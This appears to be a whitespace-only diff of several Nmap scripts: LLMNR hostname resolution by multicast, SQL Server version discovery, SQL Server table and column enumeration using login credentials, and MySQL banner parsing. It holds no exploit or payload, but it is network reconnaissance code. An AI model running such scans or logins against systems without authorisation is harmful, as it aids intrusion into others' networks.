query = query .. bin.pack(">S", 0x0000) -- Authority RRs = 0
query = query .. bin.pack(">S", 0x0000) -- Additional RRs = 0
query = query .. bin.pack(">CAC", #hostname, hostname, 0x00) -- Hostname
query = query .. bin.pack(">S", 0x0001) -- Type: Host Address
query = query .. bin.pack(">S", 0x0001) -- Class: IN
return query
end
--- Sends a llmnr query.
-- @param query Query to send.
local llmnrSend = function(query, mcast, mport)
-- Multicast IP and UDP port
local sock = nmap.new_socket()
local status, err = sock:connect(mcast, mport, "udp")
if not status then
stdnse.print_debug("%s: %s", SCRIPT_NAME, err)
return
end
sock:send(query)
sock:close()
-- Multicast IP and UDP port
local sock = nmap.new_socket()
local status, err = sock:connect(mcast, mport, "udp")
if not status then
stdnse.print_debug("%s: %s", SCRIPT_NAME, err)
return
end
sock:send(query)
sock:close()
end
-- Listens for llmnr responses
@@ -86,130 +86,130 @@ end
-- @param timeout Maximum time to listen.
-- @param result table to put responses into.
local llmnrListen = function(interface, timeout, result)
local condvar = nmap.condvar(result)
local start = nmap.clock_ms()
local listener = nmap.new_socket()
local status, l3data, _
local condvar = nmap.condvar(result)
local start = nmap.clock_ms()
local listener = nmap.new_socket()
local status, l3data, _
-- packets that are sent to our UDP port number 5355
local filter = 'dst host ' .. interface.address .. ' and udp src port 5355'
listener:set_timeout(100)
listener:pcap_open(interface.device, 1024, true, filter)
-- packets that are sent to our UDP port number 5355
local filter = 'dst host ' .. interface.address .. ' and udp src port 5355'
listener:set_timeout(100)
listener:pcap_open(interface.device, 1024, true, filter)
while (nmap.clock_ms() - start) < timeout do
status, _, _, l3data = listener:pcap_receive()
if status then
local p = packet.Packet:new(l3data, #l3data)
-- Skip IP and UDP headers
local llmnr = string.sub(l3data, p.ip_hl*4 + 8 + 1)
-- Flags
local _, trans = bin.unpack(">S", llmnr)
local _, flags = bin.unpack(">S", llmnr, 3)
-- Questions number
local _, questions = bin.unpack(">S", llmnr, 5)
while (nmap.clock_ms() - start) < timeout do
status, _, _, l3data = listener:pcap_receive()
if status then
local p = packet.Packet:new(l3data, #l3data)
-- Skip IP and UDP headers
local llmnr = string.sub(l3data, p.ip_hl*4 + 8 + 1)
-- Flags
local _, trans = bin.unpack(">S", llmnr)
local _, flags = bin.unpack(">S", llmnr, 3)
-- Questions number
local _, questions = bin.unpack(">S", llmnr, 5)
-- Make verifications
-- Message == Response bit
-- and 1 Question (hostname we requested) and
if (bit.rshift(flags, 15) == 1) and questions == 0x01 then
stdnse.print_debug("%s got response from %s", SCRIPT_NAME, p.ip_src)
-- Skip header's 12 bytes
-- extract host length
local index, qlen = bin.unpack(">C", llmnr, 13)
-- Skip hostname, null byte, type field and class field
index = index + qlen + 1 + 2 + 2
-- Make verifications
-- Message == Response bit
-- and 1 Question (hostname we requested) and
if (bit.rshift(flags, 15) == 1) and questions == 0x01 then
stdnse.print_debug("%s got response from %s", SCRIPT_NAME, p.ip_src)
-- Skip header's 12 bytes
-- extract host length
local index, qlen = bin.unpack(">C", llmnr, 13)
-- Skip hostname, null byte, type field and class field
index = index + qlen + 1 + 2 + 2
-- Now, answer record
local response, alen = {}
index, alen = bin.unpack(">C", llmnr, index)
-- Extract hostname with the correct case sensivity.
index, response.hostname = bin.unpack(">A".. alen, llmnr, index)
-- Now, answer record
local response, alen = {}
index, alen = bin.unpack(">C", llmnr, index)
-- Extract hostname with the correct case sensivity.
index, response.hostname = bin.unpack(">A".. alen, llmnr, index)
-- skip null byte, type, class, ttl, dlen
index = index + 1 + 2 + 2 + 4 + 2
index, response.address = bin.unpack("<I", llmnr, index)
response.address = ipOps.fromdword(response.address)
table.insert(result, response)
else
stdnse.print_debug("%s skipped llmnr response.", SCRIPT_NAME)
end
end
-- skip null byte, type, class, ttl, dlen
index = index + 1 + 2 + 2 + 4 + 2
index, response.address = bin.unpack("<I", llmnr, index)
response.address = ipOps.fromdword(response.address)
table.insert(result, response)
else
stdnse.print_debug("%s skipped llmnr response.", SCRIPT_NAME)
end
end
condvar("signal")
end
condvar("signal")
end
-- Returns the network interface used to send packets to a target host.
--@param target host to which the interface is used.
--@return interface Network interface used for target host.
local getInterface = function(target)
-- First, create dummy UDP connection to get interface
local sock = nmap.new_socket()
local status, err = sock:connect(target, "12345", "udp")
if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return
end
local status, address, _, _, _ = sock:get_info()
if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return
end
for _, interface in pairs(nmap.list_interfaces()) do
if interface.address == address then
return interface
end
-- First, create dummy UDP connection to get interface
local sock = nmap.new_socket()
local status, err = sock:connect(target, "12345", "udp")
if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return
end
local status, address, _, _, _ = sock:get_info()
if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return
end
for _, interface in pairs(nmap.list_interfaces()) do
if interface.address == address then
return interface
end
end
end
action = function()
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
timeout = (timeout or 3) * 1000
local hostname = stdnse.get_script_args(SCRIPT_NAME .. ".hostname")
local result, output = {}, {}
local mcast = "224.0.0.252"
local mport = 5355
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
timeout = (timeout or 3) * 1000
local hostname = stdnse.get_script_args(SCRIPT_NAME .. ".hostname")
local result, output = {}, {}
local mcast = "224.0.0.252"
local mport = 5355
-- Check if a valid hostname was provided
if not hostname or #hostname == 0 then
stdnse.print_debug("%s no hostname was provided.", SCRIPT_NAME)
return
end
-- Check if a valid hostname was provided
if not hostname or #hostname == 0 then
stdnse.print_debug("%s no hostname was provided.", SCRIPT_NAME)
return
end
-- Check if a valid interface was provided
local interface = nmap.get_interface()
if interface then
interface = nmap.get_interface_info(interface)
else
interface = getInterface(mcast)
end
if not interface then
return ("\n ERROR: Couldn't get interface for %s"):format(mcast)
end
-- Check if a valid interface was provided
local interface = nmap.get_interface()
if interface then
interface = nmap.get_interface_info(interface)
else
interface = getInterface(mcast)
end
if not interface then
return ("\n ERROR: Couldn't get interface for %s"):format(mcast)
end
-- Launch listener thread
stdnse.new_thread(llmnrListen, interface, timeout, result)
-- Craft raw query
local query = llmnrQuery(hostname)
-- Small sleep so the listener doesn't miss the response
stdnse.sleep(0.5)
-- Send query
llmnrSend(query, mcast, mport)
-- Wait for listener thread to finish
local condvar = nmap.condvar(result)
condvar("wait")
-- Launch listener thread
stdnse.new_thread(llmnrListen, interface, timeout, result)
-- Craft raw query
local query = llmnrQuery(hostname)
-- Small sleep so the listener doesn't miss the response
stdnse.sleep(0.5)
-- Send query
llmnrSend(query, mcast, mport)
-- Wait for listener thread to finish
local condvar = nmap.condvar(result)
condvar("wait")
-- Check responses
if #result > 0 then
for _, response in pairs(result) do
table.insert(output, response.hostname.. " : " .. response.address)
if target.ALLOW_NEW_TARGETS then
target.add(response.address)
end
-- Check responses
if #result > 0 then
for _, response in pairs(result) do
table.insert(output, response.hostname.. " : " .. response.address)
if target.ALLOW_NEW_TARGETS then
target.add(response.address)
end
if ( not(target.ALLOW_NEW_TARGETS) ) then
table.insert(output,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output(true, output)
end
if ( not(target.ALLOW_NEW_TARGETS) ) then
table.insert(output,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output(true, output)
end
end

View File

@@ -105,7 +105,7 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
-- added script arg to prevent script from connecting to ports that
-- weren't in original Nmap scan <chris3E3@gmail.com>)
-- rev 1.5 (2011-02-01 - Moved discovery functionality into ms-sql-discover.nse and
-- broadcast-ms-sql-discovery.nse <chris3E3@gmail.com>)
-- broadcast-ms-sql-discovery.nse <chris3E3@gmail.com>)
author = "Chris Woodbury, Thomas Buchanan"
@@ -115,75 +115,75 @@ categories = {"default", "discovery", "safe"}
hostrule = function(host)
if ( mssql.Helper.WasDiscoveryPerformed( host ) ) then
return mssql.Helper.GetDiscoveredInstances( host ) ~= nil
else
local sqlDefaultPort = nmap.get_port_state( host, {number = 1433, protocol = "tcp"} )
local sqlBrowserPort = nmap.get_port_state( host, {number = 1434, protocol = "udp"} )
-- smb.get_port() will return nil if no SMB port was scanned OR if SMB ports were scanned but none was open
local smbPortNumber = smb.get_port( host )
if ( mssql.Helper.WasDiscoveryPerformed( host ) ) then
return mssql.Helper.GetDiscoveredInstances( host ) ~= nil
else
local sqlDefaultPort = nmap.get_port_state( host, {number = 1433, protocol = "tcp"} )
local sqlBrowserPort = nmap.get_port_state( host, {number = 1434, protocol = "udp"} )
-- smb.get_port() will return nil if no SMB port was scanned OR if SMB ports were scanned but none was open
local smbPortNumber = smb.get_port( host )
if ( (stdnse.get_script_args( {"mssql.instance-all", "mssql.instance-name", "mssql.instance-port"} ) ~= nil) or
(sqlBrowserPort and (sqlBrowserPort.state == "open" or sqlBrowserPort.state == "open|filtered")) or
(sqlDefaultPort and (sqlDefaultPort.state == "open" or sqlDefaultPort.state == "open|filtered")) or
(smbPortNumber ~= nil) ) then
return true
end
end
if ( (stdnse.get_script_args( {"mssql.instance-all", "mssql.instance-name", "mssql.instance-port"} ) ~= nil) or
(sqlBrowserPort and (sqlBrowserPort.state == "open" or sqlBrowserPort.state == "open|filtered")) or
(sqlDefaultPort and (sqlDefaultPort.state == "open" or sqlDefaultPort.state == "open|filtered")) or
(smbPortNumber ~= nil) ) then
return true
end
end
end
--- Adds a label and value to an output table. If the value is a boolean, it is
-- converted to Yes/No; if the value is nil, nothing is added to the table.
local function add_to_output_table( outputTable, outputLabel, outputData )
if outputData == nil then return end
if outputData == nil then return end
if outputData == true then
outputData = "Yes"
elseif outputData == false then
outputData = "No"
end
if outputData == true then
outputData = "Yes"
elseif outputData == false then
outputData = "No"
end
table.insert(outputTable, string.format( "%s: %s", outputLabel, outputData ) )
table.insert(outputTable, string.format( "%s: %s", outputLabel, outputData ) )
end
--- Returns formatted output for the given version data
local function create_version_output_table( versionInfo )
local versionOutput = {}
local versionOutput = {}
versionOutput["name"] = "Version: " .. versionInfo:ToString()
if ( versionInfo.source ~= "SSRP" ) then
add_to_output_table( versionOutput, "Version number", versionInfo.versionNumber )
end
add_to_output_table( versionOutput, "Product", versionInfo.productName )
add_to_output_table( versionOutput, "Service pack level", versionInfo.servicePackLevel )
add_to_output_table( versionOutput, "Post-SP patches applied", versionInfo.patched )
versionOutput["name"] = "Version: " .. versionInfo:ToString()
if ( versionInfo.source ~= "SSRP" ) then
add_to_output_table( versionOutput, "Version number", versionInfo.versionNumber )
end
add_to_output_table( versionOutput, "Product", versionInfo.productName )
add_to_output_table( versionOutput, "Service pack level", versionInfo.servicePackLevel )
add_to_output_table( versionOutput, "Post-SP patches applied", versionInfo.patched )
return versionOutput
return versionOutput
end
--- Returns formatted output for the given instance
local function create_instance_output_table( instance )
-- if we didn't get anything useful (due to errors or the port not actually
-- being SQL Server), don't report anything
if not ( instance.instanceName or instance.version ) then return nil end
-- if we didn't get anything useful (due to errors or the port not actually
-- being SQL Server), don't report anything
if not ( instance.instanceName or instance.version ) then return nil end
local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
add_to_output_table( instanceOutput, "Instance name", instance.instanceName )
if instance.version then
local versionOutput = create_version_output_table( instance.version )
table.insert( instanceOutput, versionOutput )
end
if instance.port then add_to_output_table( instanceOutput, "TCP port", instance.port.number ) end
add_to_output_table( instanceOutput, "Named pipe", instance.pipeName )
add_to_output_table( instanceOutput, "Clustered", instance.isClustered )
add_to_output_table( instanceOutput, "Instance name", instance.instanceName )
if instance.version then
local versionOutput = create_version_output_table( instance.version )
table.insert( instanceOutput, versionOutput )
end
if instance.port then add_to_output_table( instanceOutput, "TCP port", instance.port.number ) end
add_to_output_table( instanceOutput, "Named pipe", instance.pipeName )
add_to_output_table( instanceOutput, "Clustered", instance.isClustered )
return instanceOutput
return instanceOutput
end
@@ -191,74 +191,74 @@ end
--- Processes a single instance, attempting to determine its version, etc.
local function process_instance( instance )
local foundVersion = false
local ssnetlibVersion
local foundVersion = false
local ssnetlibVersion
-- If possible and allowed (see 'mssql.scanned-ports-only' argument), we'll
-- connect to the instance to get an accurate version number
if ( instance:HasNetworkProtocols() ) then
local ssnetlibVersion
foundVersion, ssnetlibVersion = mssql.Helper.GetInstanceVersion( instance )
if ( foundVersion ) then
instance.version = ssnetlibVersion
stdnse.print_debug( 1, "%s: Retrieved SSNetLib version for %s.", SCRIPT_NAME, instance:GetName() )
else
stdnse.print_debug( 1, "%s: Could not retrieve SSNetLib version for %s.", SCRIPT_NAME, instance:GetName() )
end
end
-- If possible and allowed (see 'mssql.scanned-ports-only' argument), we'll
-- connect to the instance to get an accurate version number
if ( instance:HasNetworkProtocols() ) then
local ssnetlibVersion
foundVersion, ssnetlibVersion = mssql.Helper.GetInstanceVersion( instance )
if ( foundVersion ) then
instance.version = ssnetlibVersion
stdnse.print_debug( 1, "%s: Retrieved SSNetLib version for %s.", SCRIPT_NAME, instance:GetName() )
else
stdnse.print_debug( 1, "%s: Could not retrieve SSNetLib version for %s.", SCRIPT_NAME, instance:GetName() )
end
end
-- If we didn't get a version from SSNetLib, give the user some detail as to why
if ( not foundVersion ) then
if ( not instance:HasNetworkProtocols() ) then
stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() )
end
if ( instance.version ) then
stdnse.print_debug( 1, "%s: Using version number from SSRP response for %s.", SCRIPT_NAME, instance:GetName() )
else
stdnse.print_debug( 1, "%s: Version info could not be retrieved for %s.", SCRIPT_NAME, instance:GetName() )
end
end
-- If we didn't get a version from SSNetLib, give the user some detail as to why
if ( not foundVersion ) then
if ( not instance:HasNetworkProtocols() ) then
stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() )
end
if ( instance.version ) then
stdnse.print_debug( 1, "%s: Using version number from SSRP response for %s.", SCRIPT_NAME, instance:GetName() )
else
stdnse.print_debug( 1, "%s: Version info could not be retrieved for %s.", SCRIPT_NAME, instance:GetName() )
end
end
-- Give some version info back to Nmap
if ( instance.port and instance.version ) then
instance.version:PopulateNmapPortVersion( instance.port )
nmap.set_port_version( instance.host, instance.port)
end
-- Give some version info back to Nmap
if ( instance.port and instance.version ) then
instance.version:PopulateNmapPortVersion( instance.port )
nmap.set_port_version( instance.host, instance.port)
end
end
action = function( host )
local scriptOutput = {}
local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host )
-- if no instances were targeted, then display info on all
if ( not status ) then
if ( not mssql.Helper.WasDiscoveryPerformed( host ) ) then
mssql.Helper.Discover( host )
end
instanceList = mssql.Helper.GetDiscoveredInstances( host )
end
local status, instanceList = mssql.Helper.GetTargetInstances( host )
-- if no instances were targeted, then display info on all
if ( not status ) then
if ( not mssql.Helper.WasDiscoveryPerformed( host ) ) then
mssql.Helper.Discover( host )
end
instanceList = mssql.Helper.GetDiscoveredInstances( host )
end
if ( not instanceList ) then
return stdnse.format_output( false, instanceList or "" )
else
for _, instance in ipairs( instanceList ) do
if instance.serverName then
table.insert(scriptOutput, string.format( "Windows server name: %s", instance.serverName ))
break
end
end
for _, instance in pairs( instanceList ) do
process_instance( instance )
local instanceOutput = create_instance_output_table( instance )
if instanceOutput then
table.insert( scriptOutput, instanceOutput )
end
end
end
if ( not instanceList ) then
return stdnse.format_output( false, instanceList or "" )
else
for _, instance in ipairs( instanceList ) do
if instance.serverName then
table.insert(scriptOutput, string.format( "Windows server name: %s", instance.serverName ))
break
end
end
for _, instance in pairs( instanceList ) do
process_instance( instance )
local instanceOutput = create_instance_output_table( instance )
if instanceOutput then
table.insert( scriptOutput, instanceOutput )
end
end
end
return stdnse.format_output( true, scriptOutput )
return stdnse.format_output( true, scriptOutput )
end

View File

@@ -54,7 +54,7 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
-- (default 5). If set to zero or less all tables are returned.
--
-- @args ms-sql-tables.keywords If set shows only tables or columns matching
-- the keywords
-- the keywords
--
-- @output
-- | ms-sql-tables:
@@ -84,13 +84,13 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 04/02/2010 - v0.2
-- - Added support for filters
-- - Changed output formatting of restrictions
-- - Added parameter information in output if parameters are using their
-- defaults.
-- - Added support for filters
-- - Changed output formatting of restrictions
-- - Added parameter information in output if parameters are using their
-- defaults.
-- Revised 02/01/2011 - v0.3 (Chris Woodbury)
-- - Added ability to run against all instances on a host;
-- - Added compatibility with changes in mssql.lua
-- - Added ability to run against all instances on a host;
-- - Added compatibility with changes in mssql.lua
author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -104,169 +104,169 @@ portrule = mssql.Helper.GetPortrule_Standard()
local function process_instance( instance )
local status, result, dbs, tables
local status, result, dbs, tables
local output = {}
local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" }
local db_query
local done_dbs = {}
local db_limit, tbl_limit
local output = {}
local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" }
local db_query
local done_dbs = {}
local db_limit, tbl_limit
local DB_COUNT = stdnse.get_script_args( {'ms-sql-tables.maxdb', 'mssql-tables.maxdb'} )
and tonumber( stdnse.get_script_args( {'ms-sql-tables.maxdb', 'mssql-tables.maxdb'} ) ) or 5
local TABLE_COUNT = stdnse.get_script_args( {'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } )
and tonumber( stdnse.get_script_args( {'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) ) or 2
local keywords_filter = ""
local DB_COUNT = stdnse.get_script_args( {'ms-sql-tables.maxdb', 'mssql-tables.maxdb'} )
and tonumber( stdnse.get_script_args( {'ms-sql-tables.maxdb', 'mssql-tables.maxdb'} ) ) or 5
local TABLE_COUNT = stdnse.get_script_args( {'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } )
and tonumber( stdnse.get_script_args( {'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) ) or 2
local keywords_filter = ""
if ( DB_COUNT <= 0 ) then
db_limit = ""
else
db_limit = string.format( "TOP %d", DB_COUNT )
end
if (TABLE_COUNT <= 0 ) then
tbl_limit = ""
else
tbl_limit = string.format( "TOP %d", TABLE_COUNT )
end
if ( DB_COUNT <= 0 ) then
db_limit = ""
else
db_limit = string.format( "TOP %d", DB_COUNT )
end
if (TABLE_COUNT <= 0 ) then
tbl_limit = ""
else
tbl_limit = string.format( "TOP %d", TABLE_COUNT )
end
-- Build the keyword filter
if ( stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) ) then
local keywords = stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } )
local tmp_tbl = {}
-- Build the keyword filter
if ( stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) ) then
local keywords = stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } )
local tmp_tbl = {}
if( type(keywords) == 'string' ) then
keywords = { keywords }
end
if( type(keywords) == 'string' ) then
keywords = { keywords }
end
for _, v in ipairs(keywords) do
table.insert(tmp_tbl, ("'%s'"):format(v))
end
for _, v in ipairs(keywords) do
table.insert(tmp_tbl, ("'%s'"):format(v))
end
keywords_filter = (" AND ( so.name IN (%s) or sc.name IN (%s) ) "):format(
stdnse.strjoin(",", tmp_tbl),
stdnse.strjoin(",", tmp_tbl)
)
end
keywords_filter = (" AND ( so.name IN (%s) or sc.name IN (%s) ) "):format(
stdnse.strjoin(",", tmp_tbl),
stdnse.strjoin(",", tmp_tbl)
)
end
db_query = ("SELECT %s name from master..sysdatabases WHERE name NOT IN (%s)"):format(db_limit, stdnse.strjoin(",", exclude_dbs))
db_query = ("SELECT %s name from master..sysdatabases WHERE name NOT IN (%s)"):format(db_limit, stdnse.strjoin(",", exclude_dbs))
local creds = mssql.Helper.GetLoginCredentials_All( instance )
if ( not creds ) then
output = "ERROR: No login credentials."
else
for username, password in pairs( creds ) do
local helper = mssql.Helper:new()
status, result = helper:ConnectEx( instance )
if ( not(status) ) then
table.insert(output, "ERROR: " .. result)
break
end
local creds = mssql.Helper.GetLoginCredentials_All( instance )
if ( not creds ) then
output = "ERROR: No login credentials."
else
for username, password in pairs( creds ) do
local helper = mssql.Helper:new()
status, result = helper:ConnectEx( instance )
if ( not(status) ) then
table.insert(output, "ERROR: " .. result)
break
end
if ( status ) then
status = helper:Login( username, password, nil, instance.host.ip )
end
if ( status ) then
status = helper:Login( username, password, nil, instance.host.ip )
end
if ( status ) then
status, dbs = helper:Query( db_query )
end
if ( status ) then
status, dbs = helper:Query( db_query )
end
if ( status ) then
-- all done?
if ( #done_dbs == #dbs.rows ) then
break
end
if ( status ) then
-- all done?
if ( #done_dbs == #dbs.rows ) then
break
end
for k, v in pairs(dbs.rows) do
if ( not( stdnse.contains( done_dbs, v[1] ) ) ) then
local query = [[ SELECT so.name 'table', sc.name 'column', st.name 'type', sc.length
FROM %s..syscolumns sc, %s..sysobjects so, %s..systypes st
WHERE so.id = sc.id AND sc.xtype=st.xtype AND
so.id IN (SELECT %s id FROM %s..sysobjects WHERE xtype='U') %s ORDER BY so.name, sc.name, st.name]]
query = query:format( v[1], v[1], v[1], tbl_limit, v[1], keywords_filter)
status, tables = helper:Query( query )
if ( not(status) ) then
stdnse.print_debug(tables)
else
local item = {}
item = mssql.Util.FormatOutputTable( tables, true )
if ( #item == 0 and keywords_filter ~= "" ) then
table.insert(item, "Filter returned no matches")
end
item.name = v[1]
for k, v in pairs(dbs.rows) do
if ( not( stdnse.contains( done_dbs, v[1] ) ) ) then
local query = [[ SELECT so.name 'table', sc.name 'column', st.name 'type', sc.length
FROM %s..syscolumns sc, %s..sysobjects so, %s..systypes st
WHERE so.id = sc.id AND sc.xtype=st.xtype AND
so.id IN (SELECT %s id FROM %s..sysobjects WHERE xtype='U') %s ORDER BY so.name, sc.name, st.name]]
query = query:format( v[1], v[1], v[1], tbl_limit, v[1], keywords_filter)
status, tables = helper:Query( query )
if ( not(status) ) then
stdnse.print_debug(tables)
else
local item = {}
item = mssql.Util.FormatOutputTable( tables, true )
if ( #item == 0 and keywords_filter ~= "" ) then
table.insert(item, "Filter returned no matches")
end
item.name = v[1]
table.insert(output, item)
table.insert(done_dbs, v[1])
end
end
end
end
helper:Disconnect()
end
table.insert(output, item)
table.insert(done_dbs, v[1])
end
end
end
end
helper:Disconnect()
end
local pos = 1
local restrict_tbl = {}
local pos = 1
local restrict_tbl = {}
if ( stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) ) then
local tmp = stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } )
if ( type(tmp) == 'table' ) then
tmp = stdnse.strjoin(',', tmp)
end
table.insert(restrict_tbl, 1, ("Filter: %s"):format(tmp))
pos = pos + 1
else
table.insert(restrict_tbl, 1, "No filter (see ms-sql-tables.keywords)")
end
if ( stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) ) then
local tmp = stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } )
if ( type(tmp) == 'table' ) then
tmp = stdnse.strjoin(',', tmp)
end
table.insert(restrict_tbl, 1, ("Filter: %s"):format(tmp))
pos = pos + 1
else
table.insert(restrict_tbl, 1, "No filter (see ms-sql-tables.keywords)")
end
if ( DB_COUNT > 0 ) then
local tmp = ("Output restricted to %d databases"):format(DB_COUNT)
if ( not(stdnse.get_script_args( { 'ms-sql-tables.maxdb', 'mssql-tables.maxdb' } ) ) ) then
tmp = tmp .. " (see ms-sql-tables.maxdb)"
end
table.insert(restrict_tbl, 1, tmp)
pos = pos + 1
end
if ( DB_COUNT > 0 ) then
local tmp = ("Output restricted to %d databases"):format(DB_COUNT)
if ( not(stdnse.get_script_args( { 'ms-sql-tables.maxdb', 'mssql-tables.maxdb' } ) ) ) then
tmp = tmp .. " (see ms-sql-tables.maxdb)"
end
table.insert(restrict_tbl, 1, tmp)
pos = pos + 1
end
if ( TABLE_COUNT > 0 ) then
local tmp = ("Output restricted to %d tables"):format(TABLE_COUNT)
if ( not(stdnse.get_script_args( { 'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) ) ) then
tmp = tmp .. " (see ms-sql-tables.maxtables)"
end
table.insert(restrict_tbl, 1, tmp)
pos = pos + 1
end
if ( TABLE_COUNT > 0 ) then
local tmp = ("Output restricted to %d tables"):format(TABLE_COUNT)
if ( not(stdnse.get_script_args( { 'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) ) ) then
tmp = tmp .. " (see ms-sql-tables.maxtables)"
end
table.insert(restrict_tbl, 1, tmp)
pos = pos + 1
end
if ( 1 < pos and type( output ) == "table" and #output > 0) then
restrict_tbl.name = "Restrictions"
table.insert(output, "")
table.insert(output, restrict_tbl)
end
end
if ( 1 < pos and type( output ) == "table" and #output > 0) then
restrict_tbl.name = "Restrictions"
table.insert(output, "")
table.insert(output, restrict_tbl)
end
end
local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
table.insert( instanceOutput, output )
local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
table.insert( instanceOutput, output )
return instanceOutput
return instanceOutput
end
action = function( host, port )
local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
if ( not status ) then
return stdnse.format_output( false, instanceList )
else
for _, instance in pairs( instanceList ) do
local instanceOutput = process_instance( instance )
if instanceOutput then
table.insert( scriptOutput, instanceOutput )
end
end
end
if ( not status ) then
return stdnse.format_output( false, instanceList )
else
for _, instance in pairs( instanceList ) do
local instanceOutput = process_instance( instance )
if instanceOutput then
table.insert( scriptOutput, instanceOutput )
end
end
end
return stdnse.format_output( true, scriptOutput )
return stdnse.format_output( true, scriptOutput )
end

View File

@@ -40,169 +40,169 @@ end
--@param num Start of the two bytes
--@return The converted number
local ntohs = function(num)
local b1 = bit.band(num:byte(1), 255)
local b2 = bit.band(num:byte(2), 255)
local b1 = bit.band(num:byte(1), 255)
local b2 = bit.band(num:byte(2), 255)
return bit.bor(b1, bit.lshift(b2, 8))
return bit.bor(b1, bit.lshift(b2, 8))
end
--- Converts three bytes into a number
--@param num Start of the three bytes
--@return The converted number
local ntoh3 = function(num)
local b1 = bit.band(num:byte(1), 255)
local b2 = bit.band(num:byte(2), 255)
local b3 = bit.band(num:byte(3), 255)
local b1 = bit.band(num:byte(1), 255)
local b2 = bit.band(num:byte(2), 255)
local b3 = bit.band(num:byte(3), 255)
return bit.bor(b1, bit.lshift(b2, 8), bit.lshift(b3, 16))
return bit.bor(b1, bit.lshift(b2, 8), bit.lshift(b3, 16))
end
--- Converts four bytes into a number
--@param num Start of the four bytes
--@return The converted number
local ntohl = function(num)
local b1 = bit.band(num:byte(1), 255)
local b2 = bit.band(num:byte(2), 255)
local b3 = bit.band(num:byte(3), 255)
local b4 = bit.band(num:byte(4), 255)
local b1 = bit.band(num:byte(1), 255)
local b2 = bit.band(num:byte(2), 255)
local b3 = bit.band(num:byte(3), 255)
local b4 = bit.band(num:byte(4), 255)
return bit.bor(b1, bit.lshift(b2, 8), bit.lshift(b3, 16), bit.lshift(b4, 24))
return bit.bor(b1, bit.lshift(b2, 8), bit.lshift(b3, 16), bit.lshift(b4, 24))
end
--- Converts a number to a string description of the capabilities
--@param num Start of the capabilities data
--@return String describing the capabilities offered
local capabilities = function(num)
local caps = ""
local caps = ""
if bit.band(num, 1) > 0 then
caps = caps .. "Long Passwords, "
end
if bit.band(num, 1) > 0 then
caps = caps .. "Long Passwords, "
end
if bit.band(num, 8) > 0 then
caps = caps .. "Connect with DB, "
end
if bit.band(num, 8) > 0 then
caps = caps .. "Connect with DB, "
end
if bit.band(num, 32) > 0 then
caps = caps .. "Compress, "
end
if bit.band(num, 32) > 0 then
caps = caps .. "Compress, "
end
if bit.band(num, 64) > 0 then
caps = caps .. "ODBC, "
end
if bit.band(num, 64) > 0 then
caps = caps .. "ODBC, "
end
if bit.band(num, 2048) > 0 then
caps = caps .. "SSL, "
end
if bit.band(num, 2048) > 0 then
caps = caps .. "SSL, "
end
if bit.band(num, 8192) > 0 then
caps = caps .. "Transactions, "
end
if bit.band(num, 8192) > 0 then
caps = caps .. "Transactions, "
end
if bit.band(num, 32768) > 0 then
caps = caps .. "Secure Connection, "
end
if bit.band(num, 32768) > 0 then
caps = caps .. "Secure Connection, "
end
return caps:gsub(", $", "")
return caps:gsub(", $", "")
end
portrule = function(host, port)
local extra = port.version.extrainfo
local extra = port.version.extrainfo
return (port.number == 3306 or port.service == "mysql")
and port.protocol == "tcp"
and port.state == "open"
and not (extra ~= nil
and (extra:match("[Uu]nauthorized")
or extra:match("[Tt]oo many connection")))
return (port.number == 3306 or port.service == "mysql")
and port.protocol == "tcp"
and port.state == "open"
and not (extra ~= nil
and (extra:match("[Uu]nauthorized")
or extra:match("[Tt]oo many connection")))
end
action = function(host, port)
local output = ""
local output = ""
local status, response = comm.get_banner(host, port, {timeout=5000})
local status, response = comm.get_banner(host, port, {timeout=5000})
if not status then
return
end
if not status then
return
end
local length = ntoh3(response:sub(1, 3))
local length = ntoh3(response:sub(1, 3))
if length ~= response:len() - 4 then
return "Invalid greeting (Not MySQL?)"
end
if length ~= response:len() - 4 then
return "Invalid greeting (Not MySQL?)"
end
-- Keeps track of where we are in the binary data
local offset = 1 + 4
